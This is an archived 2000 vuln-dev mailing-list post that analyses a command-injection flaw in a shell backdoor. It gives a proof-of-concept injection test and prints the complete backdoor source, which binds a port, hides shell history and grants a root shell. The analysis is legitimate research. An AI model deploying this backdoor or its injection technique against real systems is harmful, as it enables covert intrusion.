Vulnerability Development mailing list archives

Playing around with a buggy source code


From: Bluefish <11a () GMX NET>
Date: Tue, 15 Aug 2000 06:32:42 +0200

Hi there...

I'm analysing a backdoor I got my hands on. I've already identified one
serious bug in the backdoor which, under certain conditions opens a hole
in the backdoor itself... Dunno if the developer intentionally backdoored
his own program, or if script-kiddies really are conserned about backdoors
in their backdoors..

Anyway, I'm reviewing the code to get some real training in bugtraqing
(too much theoretical in school, and most of my knowledge is based upon
reading others findings.) So basicly I picked out something which looked
a bit uggly coded and looked for bugs.

The bug I've verified so far assumes /bin/sh to be a symlink to /bin/bash,
because it's bad use of popen. The code replaces |;&>'\r\n with \0, but it
allows $[](), so one can send $(command) which eventually will end up in
  /bin/bash -c "/bin/echo -n $(command)|/usr/bin/md5sum"
if you use redhat or distro where sh is the same as bash.

But I'm wondering about some other things in the code which looks uggly :)
I would be interested in opinions on those parts as well, and if missed
any bug I'd be interested in hearing about them!

The source includes the line recv(d, p, 1000, 0), however I cannot find
any null termination of p. If I'm reading man recv correctly, it does not
null terminate? (well, it kind of does, if it hits any of the blacklisted
characters) So if I send 1000 'A', p will be all 'A's and no \0 anywhere
to be seen?

This p will later end up in a snprintf which looks like this:
    snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
which if I count correctly allows an attacker to cut away "5sum" from the
end (additionally, wasn't it some OS [solaris?] which doesn't null
terminate snprintf on overflows?)

This uggly use of p and the later snprintf could possibly result coredumps
which would be uggly. However you cannot very easily exploit the buffert
overflow in it because the buffer is a static buffer, not on the stack.

Bellow is the little test of a proof-of-concept code which basicly is the
backdoor with all the network code removed. If your /bin/sh doesn't
interpret $(command) it won't be possible to reproduce the exploit on your
system.

[bluefish@blue bluefish]$ gcc -o funkychicken test.c
[bluefish@blue bluefish]$ rm life ; ./funkychicken ; ls -l life
-rw-r--r--   1 bluefish users           0 Aug 15 05:30 life
[bluefish@blue bluefish]$ cat test.c
#define SPLOIT "$( touch life )"

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>

char md[36];

char *
mdpass(char *plain)
{
    FILE *p;
    char fmt[1024];

    snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
    p = popen(fmt, "r");
    memset(md, 0, 36);
    fread(md, 32, 1, p);
    fclose(p);
    return md;
}

main(){
    int f;
    char p[1000];

    sprintf(p,"%s",SPLOIT);

    {
        {
            for (f = 0; f < strlen(p); f++)
                switch (p[f])
                {
                case '|':
                case ';':
                case '&':
                case '>':
                case '`':
                case '\r':
                case '\n':
                    p[f] = '\0';
                    break;
                }
            mdpass(p);
        }
    }
}

The backdoor itself is:

/*
       md5bd.c - backdoor/shell server with md5 based authentication
     (c) 2000 by Mixter <mixter () newyorkoffice com> http://1337.tsx.org

   This is a small server program that can be put on an untrusted host,
   without the danger of the hard-coded password being retrieved. Another
   big advantage of using md5 is that your password can be effectively as
   long as you want... I'm using md5sum since every system should have it,
   and since it's a stupid program and not worth of putting in md5
functions.

   To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
   Usage: ./md5bd, then ./nc host port, then enter your password
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025

/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"

/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"

char md[36];

char *
mdpass(char *plain)
{
    FILE *p;
    char fmt[1024];

    snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
    p = popen(fmt, "r");
    memset(md, 0, 36);
    fread(md, 32, 1, p);
    fclose(p);
    return md;
}

int
main(int a, char **b)
{
    int c, d, e = sizeof(struct sockaddr_in), f;
    char p[1000];
    struct sockaddr_in l, r;

    signal(SIGCHLD, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    if (fork())
        exit(0);
    l.sin_family = AF_INET;
    l.sin_port = htons(P0RT);
    l.sin_addr.s_addr = INADDR_ANY;
    bzero(&(l.sin_zero), 8);
    c = socket(AF_INET, SOCK_STREAM, 0);
    bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

    listen(c, 3);
    while ((d = accept(c, (struct sockaddr *) &r, &e)))
    {
        if (!fork())
        {
            recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
            for (f = 0; f < strlen(p); f++)
                switch (p[f])
                {
                case '|':
                case ';':
                case '&':
                case '>':
                case '`':
                case '\r':
                case '\n':
                    p[f] = '\0';
                    break;
                }
#endif /* REMOTELY_EXPLOITABLE :P */
            if (strncmp(mdpass(p), MDPASS,32) != 0)
            {
                send(d, "\377\373\001", 4, 0);
                close(d);
                exit(1);
            }
            printf ("hi.\n");
            close(0);
            close(1);
            close(2);
            dup2(d, 0);
            dup2(d, 1);
            dup2(d, 2);
            setreuid(0, 0);
            setenv("PATH",
"/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
            unsetenv("HISTFILE");
            execl("/bin/sh", "sh", (char *) 0);
            close(d);
            exit(0);
        }
    }
    return 0;
}

..:::::::::::::::::::::::::::::::::::::::::::::::::..
     http://www.11a.nu || http://bluefish.11a.nu
    eleventh alliance development & security team


Current thread: